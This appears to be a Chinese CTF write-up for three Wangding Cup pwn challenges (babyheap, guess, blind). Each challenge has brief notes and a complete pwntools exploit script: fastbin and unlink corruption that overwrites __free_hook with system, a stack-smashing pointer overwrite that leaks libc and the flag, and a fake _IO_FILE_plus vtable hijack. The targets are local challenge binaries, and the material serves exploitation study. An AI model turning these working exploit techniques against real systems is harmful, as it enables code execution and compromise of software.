题目位置

  1. https://gitee.com/hac425/blog_data/tree/master/wdb

babyheap

  • 通过分配和释放构建 2fastbin
  • 利用 show 功能, leak heap 的基地址
  • 然后可以在 heap 伪造 fastbin , 造成 overlap chunk
  • 修改 chunk size ,同时伪造 free chunk
  • unlink 攻击 , 可以控制 ptr_table
  • 然后通过 修改 edit_count 实现多次写
  • __free_hook 设置 system.
  1. # !/usr/local/bin/python
  2. # -*- coding:utf-8 -*-
  3. from pwn import *
  4. from time import sleep
  5. # context.log_level = "debug"
  6. elf = ELF("./babyheap")
  7. elf.got['puts'] = 0x0601FA0
  8. p = elf.process()
  9. libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
  10. ptr_table = 0x00602060
  11. def alloc(idx, content):
  12. p.sendlineafter("Choice:", "1")
  13. p.sendlineafter("Index:", str(idx))
  14. p.sendafter("Content:", content)
  15. sleep(0.1)
  16. def edit(idx, content):
  17. p.sendlineafter("Choice:", "2")
  18. p.sendlineafter("Index:", str(idx))
  19. p.sendafter("Content:", content)
  20. sleep(0.1)
  21. def show(idx):
  22. p.sendlineafter("Choice:", "3")
  23. p.sendlineafter("Index:", str(idx))
  24. sleep(0.1)
  25. def free(idx):
  26. p.sendlineafter("Choice:", "4")
  27. p.sendlineafter("Index:", str(idx))
  28. sleep(0.1)
  29. info("wait to attach: gdb --pid={}".format(p.proc.pid))
  30. payload = "\x00" * 0x18
  31. payload += p64(0x31)
  32. alloc(0, "sh\x00\n")
  33. alloc(1, payload) # 用于伪造 fastbin
  34. alloc(2, p64(0x21) * 4)
  35. alloc(3, '\x21' * 0x20)
  36. free(2)
  37. free(1)
  38. info("获取 fastbin 链表")
  39. show(1)
  40. leak = p.recvuntil("\n")[:-1]
  41. leak = u64(leak + "\x00" * (8 - len(leak)))
  42. heap_base = leak - 0x60
  43. info("heap_base: " + hex(heap_base))
  44. edit(1, p64(heap_base + 0x50) + "\n")
  45. info("修改fastbin 指针, 伪造 bin")
  46. payload = p64(0) + p64(0x21)
  47. payload += p64(ptr_table - 0x18 + 0x8)
  48. payload += p64(ptr_table - 0x10 + 0x8)
  49. alloc(4, "333\n")
  50. alloc(5, p64(0x20) + p64(0x90) + "\n")
  51. alloc(6, "sh\x00" + "\n")
  52. alloc(7, "666" + "\n")
  53. free(4)
  54. alloc(8, payload)
  55. info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk")
  56. free(2)
  57. payload = "\x00" * 0x10
  58. payload += p64(0x06020B0)
  59. payload += p64(ptr_table)
  60. edit(1, payload)
  61. edit(0, p64(0) + "\n")
  62. info("修改 ptr_table , 设置 edit 计数为 0")
  63. payload = p64(0x06020B0)
  64. payload += p64(ptr_table)
  65. payload += p64(elf.got['puts'])
  66. payload += p64(ptr_table)
  67. edit(1, payload)
  68. edit(0, p64(0) + "\n")
  69. show(2)
  70. leak = p.recvuntil("\n")[:-1]
  71. leak = u64(leak + "\x00" * (8 - len(leak)))
  72. libc.address = leak - libc.symbols['puts']
  73. info("libc.address: " + hex(libc.address))
  74. payload = p64(0x06020B0)
  75. payload += p64(ptr_table)
  76. payload += p64(elf.got['puts'])
  77. payload += p64(libc.symbols['__free_hook'])
  78. edit(1, payload)
  79. edit(0, p64(0) + "\n")
  80. edit(3, p64(libc.symbols['system']) + "\n")
  81. free(6)
  82. p.interactive()

guess

栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag

  1. #!/usr/local/bin/python
  2. # -*- coding:utf-8 -*-
  3. from pwn import *
  4. # context.log_level = "debug"
  5. elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
  6. libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so"
  7. elf = ELF(elf_path)
  8. libc = ELF(libc_path)
  9. def get_offset():
  10. for i in range(0x80, 0x180):
  11. p = elf.process()
  12. p.recvuntil("flag\n")
  13. # 0x0400C90 You must have great six sense!!!! :-o
  14. # 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
  15. # 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o terminated
  16. p.sendline("1" * i + p64(0x0400C90))
  17. p.recvline()
  18. x = p.recvline()
  19. p.close()
  20. # 找到偏移退出
  21. if "six" in x:
  22. print hex(i), x
  23. exit(0)
  24. def leak_data(p, addr):
  25. p.recvuntil("flag\n")
  26. p.sendline("1" * 0x128 + p64(addr))
  27. p.recvuntil("***: ")
  28. def leak_address(p, address):
  29. leak_data(p, address)
  30. leak = u64(p.recv(6) + "\x00" * 2)
  31. return leak
  32. p = elf.process()
  33. # 先通过 puts 泄漏 libc
  34. libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
  35. info("libc: " + hex(libc.address))
  36. # 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
  37. environ_address = libc.symbols['environ']
  38. environ = leak_address(p, environ_address)
  39. info("get stack addr")
  40. # 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
  41. flag_address = environ - 0x168
  42. leak_data(p, flag_address)
  43. print p.recvline()
  44. p.close()
  45. get_offset()

blind

stdin, stdout, stderr 的地址会放到 bss 段, 其中的 0x7f 可以作为 fastbinsize 使用。

  • fastbin attack 分配到 bss
  • 修改 ptr 表,任意地址写
  • bss 段后面有一块很大的空间伪造 _IO_FILE_plus, 修改 vtableget_system 的函数 .
  • 修改 stdout 到 伪造的 _IO_FILE_plus
  1. #!/usr/local/bin/python
  2. # -*- coding:utf-8 -*-
  3. from pwn import *
  4. import struct
  5. context.log_level = "debug"
  6. elf = ELF("./blind")
  7. libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
  8. # 大小为 0x70 的 fake chunk
  9. fake_chunk = 0x60203d
  10. ptr_table = 0x602060
  11. stdin_address = 0x602030
  12. stdout = 0x0602020
  13. fake_io_file = 0x602098 - 0x10
  14. vtable_address = fake_io_file + 224
  15. call_system = 0x0004008E3
  16. p = elf.process()
  17. _IO_USE_OLD_IO_FILE = False
  18. _BITS = 64
  19. def _u64(data):
  20. return struct.unpack("<Q", data)[0]
  21. def _u32(data):
  22. return struct.unpack("<I", data)[0]
  23. def _u16(data):
  24. return struct.unpack("<H", data)[0]
  25. def _u8(data):
  26. return ord(data)
  27. def _usz(data):
  28. if _BITS == 32:
  29. return _u32(data)
  30. elif _BITS == 64:
  31. return _u64(data)
  32. else:
  33. print("[-] Invalid _BITS")
  34. exit()
  35. def _ua(data):
  36. if _BITS == 32:
  37. return _u32(data)
  38. elif _BITS == 64:
  39. return _u64(data)
  40. else:
  41. print("[-] Invalid _BITS")
  42. exit()
  43. def _p64(data):
  44. return struct.pack("<Q", data)
  45. def _p32(data):
  46. return struct.pack("<I", data)
  47. def _p16(data):
  48. return struct.pack("<H", data)
  49. def _p8(data):
  50. return chr(data)
  51. def _psz(data):
  52. if _BITS == 32:
  53. return _p32(data)
  54. elif _BITS == 64:
  55. return _p64(data)
  56. else:
  57. print("[-] Invalid _BITS")
  58. exit()
  59. def _pa(data):
  60. if _BITS == 32:
  61. return struct.pack("<I", data)
  62. elif _BITS == 64:
  63. return struct.pack("<Q", data)
  64. else:
  65. print("[-] Invalid _BITS")
  66. exit()
  67. class _IO_FILE_plus:
  68. def __init__(self):
  69. self._flags = 0x00000000fbad2887 # High-order word is _IO_MAGIC; rest is flags.
  70. self._IO_read_ptr = 0x602500 # Current read pointer
  71. self._IO_read_end = 0x602500 # End of get area
  72. self._IO_read_base = 0x602500 # Start of putback+get area
  73. self._IO_write_base = 0x602600 # Start of put area
  74. self._IO_write_ptr = 0x602600 # Current put pointer
  75. self._IO_write_end = 0x602600 # End of put area
  76. self._IO_buf_base = 0x602600 # Start of reserve area
  77. self._IO_buf_end = 0x602601 # End of reserve area
  78. # The following fields are used to support backing up and undo.
  79. self._IO_save_base = 0 # Pointer to start of non-current get area
  80. self._IO_backup_base = 0 # Pointer to first valid character of backup area
  81. self._IO_save_end = 0 # Pointer to end of non-current get area
  82. self._markers = 0
  83. self._chain = 0
  84. self._fileno = 0
  85. self._flags2 = 0
  86. self._old_offset = 0 # This used to be _offset but it's too small
  87. # 1+column number of pbase(); 0 is unknown
  88. self._cur_column = 0
  89. self._vtable_offset = 0
  90. self._shortbuf = 0
  91. self._lock = 0x602700
  92. if not _IO_USE_OLD_IO_FILE:
  93. self._offset = 0
  94. self._codecvt = 0
  95. self._wide_data = 0
  96. self._freeres_list = 0
  97. self._freeres_buf = 0
  98. self.__pad5 = 0
  99. self._mode = 0
  100. self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
  101. self.vtable = vtable_address
  102. def tostr(self):
  103. buf = _p64(self._flags & 0xffffffff) + \
  104. _pa(self._IO_read_ptr) + \
  105. _pa(self._IO_read_end) + \
  106. _pa(self._IO_read_base) + \
  107. _pa(self._IO_write_base) + \
  108. _pa(self._IO_write_ptr) + \
  109. _pa(self._IO_write_end) + \
  110. _pa(self._IO_buf_base) + \
  111. _pa(self._IO_buf_end) + \
  112. _pa(self._IO_save_base) + \
  113. _pa(self._IO_backup_base) + \
  114. _pa(self._IO_save_end) + \
  115. _pa(self._markers) + \
  116. _pa(self._chain) + \
  117. _p32(self._fileno) + \
  118. _p32(self._flags2) + \
  119. _p64(self._old_offset) + \
  120. _p16(self._cur_column) + \
  121. _p8(self._vtable_offset) + \
  122. _p8(self._shortbuf)
  123. if _BITS == 64:
  124. buf += _p32(0)
  125. buf += _pa(self._lock)
  126. if not _IO_USE_OLD_IO_FILE:
  127. buf += \
  128. _p64(self._offset) + \
  129. _pa(self._codecvt) + \
  130. _pa(self._wide_data) + \
  131. _pa(self._freeres_list) + \
  132. _pa(self._freeres_buf) + \
  133. _psz(self.__pad5) + \
  134. _p32(self._mode) + \
  135. ''.join(map(lambda x: _p8(x), self._unused2)) + \
  136. _pa(self.vtable)
  137. return buf
  138. def __str__(self):
  139. return self.tostr()
  140. def new(index, content):
  141. p.recvuntil("Choice:")
  142. p.sendline('1')
  143. p.recvuntil("Index:")
  144. p.sendline(str(index))
  145. p.recvuntil("Content:")
  146. p.sendline(content)
  147. def release(index):
  148. p.recvuntil("Choice:")
  149. p.sendline('3')
  150. p.recvuntil("Index:")
  151. p.sendline(str(index))
  152. def change(index, content):
  153. p.recvuntil("Choice:")
  154. p.sendline('2')
  155. p.recvuntil("Index:")
  156. p.sendline(str(index))
  157. p.recvuntil("Content:")
  158. p.send(content)
  159. s = _IO_FILE_plus().tostr()
  160. print len(s)
  161. info("gdb --pid={}".format(p.proc.pid))
  162. # pause()
  163. new(0, '111')
  164. new(1, '222')
  165. release(0)
  166. info("获得一个 0x70 的 fastbin")
  167. change(0, p64(fake_chunk) + "\n")
  168. info("利用 bss 上的 stderr 伪造 fastbin")
  169. new(2, '222')
  170. new(3, '333')
  171. info("分配两个 fastbin , 此时 chunk 3 为 bss")
  172. payload = "\x00" * 0x13
  173. payload += p64(stdout) # 0
  174. payload += p64(fake_io_file) # 1
  175. payload += p64(fake_io_file + 0x68) # 2
  176. payload += p64(fake_io_file + 0x68 * 2) # 3
  177. payload += p64(vtable_address) # 4
  178. change(3, payload + "\n")
  179. change(1, s[0:0x68])
  180. change(2, s[0x68:0xd0])
  181. change(3, s[0xd0:] + "\n")
  182. info("伪造 fake IO_FILE")
  183. change(4, p64(call_system) * 13)
  184. info("伪造 虚表")
  185. pause()
  186. # p.sendline("2")
  187. change(0, p64(fake_io_file) + '\n')
  188. pause()
  189. p.interactive()

网鼎杯 pwn 记录的更多相关文章

  1. 刷题记录:[网鼎杯]Fakebook

    目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...

  2. 2020 网鼎杯wp

    2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...

  3. 网鼎杯2020 AreUSerialz

    0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...

  4. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

  5. CTF-i春秋网鼎杯第二场misc部分writeup

    CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...

  6. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  7. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  8. [网鼎杯 2018]Comment

    [网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...

  9. 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件

    0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

随机推荐

  1. WebDriverAPI(6)

    在指定元素上方进行鼠标悬浮 测试网址 http://www.baidu.com Java语言版本实例 @Test public void roverOnElement() { driver.manag ...

  2. ASP.NET 下使用特定身份完成windows服务的功能操作

    今天部署项目的发现一个问题: 在本地Win7系统下利用Web页面完成Windows服务的功能操作(启动.停止.安装.卸载)都是正常的,而部署到Server2008系统下,再使用Web页面完成windo ...

  3. (转)MySQL 插入数据时,中文乱码问题的解决

    MySQL 插入数据时,中文乱码问题的解决  原文:http://www.cnblogs.com/sunzn/archive/2013/03/14/2960248.html 当向 MySQL 数据库插 ...

  4. ubuntu16.04上Eclipse和hadoop配置

    1.安装Eclipse 1>下载Eclipse 可以以多种方式下载Eclipse,下面介绍直接从eplise官网下载和从中国镜像站点下载,下载把eclipse上传到Hadoop环境中. 第一种方 ...

  5. PMP备考指南之相关事项介绍

    本文已同步至 GitHub/Gitee/公众号,感兴趣的同学帮忙点波关注~ PMP是当今IT.通信.建筑.等高新技术行业的热门资格认证,无论是技术升级管理,还是管理者的能力提升,都离不开PMP的理论体 ...

  6. 修改ASP.NET文件上传大小限制

    转自:http://www.hello-code.com/blog/asp.net/201603/5954.html 要点: 1.web.config中的<httpRuntime maxRequ ...

  7. 再springMVC中自定义文件上传处理解决与原spring中MultipartResolve冲突问题

    相信很多朋友再用springmvc时都遇见了一个问题,那就是自带的获取上传的东西太慢,而且不知道如何修改,其实不然,spring框架既然给我们开放了这个接口,就一定遵从了可扩展性的原则,经过查看org ...

  8. 常用工具说明--Java的常用工具

    1.Eclipse.IntelliJ IDEA Eclipse是IDE领域的瑞士军刀,有着大量定制的接口和无数的插件.它无处不在,后面本文将推荐的其他所有工具都提供Eclipse插件. Eclipse ...

  9. sqlserver中调用服务器中的webservice接口

    declare @ServiceUrl as varchar(1000) declare @UrlAddress varchar(500)--WebService地址:以http开头,结尾带斜杠,例如 ...

  10. git分支branch合并到主分支master

    如何使用git将分支branch合并到主干master上 对于一人独立使用git进行系统开发时,branch分支相当于版本(Version),如果每次都将新的分支branch提交到GitHub上,则会 ...